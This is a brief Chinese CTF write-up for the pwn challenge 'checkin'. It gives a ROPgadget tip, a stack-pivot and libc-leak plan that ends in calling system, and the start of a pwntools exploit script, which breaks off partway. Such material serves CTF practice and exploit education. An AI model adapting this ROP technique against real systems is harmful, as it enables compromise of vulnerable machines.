#知识小点
ROPgadget --binary checkin --depth 20 | grep “指令”
–depth:选择搜寻的深度,默认是10,这样寻早其他指令十分全面和方便
#思路概要
- 栈迁移至bss段
- 泄露libc地址,将setvbuf改写成puts,将rdi内容改写成read_got,从而泄露libc
- 再次通过read函数执行system
#exp
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
c=process(b'./checkin')
elf=ELF(b'./checkin')
libc=ELF(b'/lib/x86_64-linux-gnu/libc.so.6')
puts=libc.sym['puts']
setvbuf=libc.sym['setvbuf']
setvbuf_got=elf.got['setvbuf']
setvbuf_plt=elf.plt['setvbuf']
pop_rbp_ret=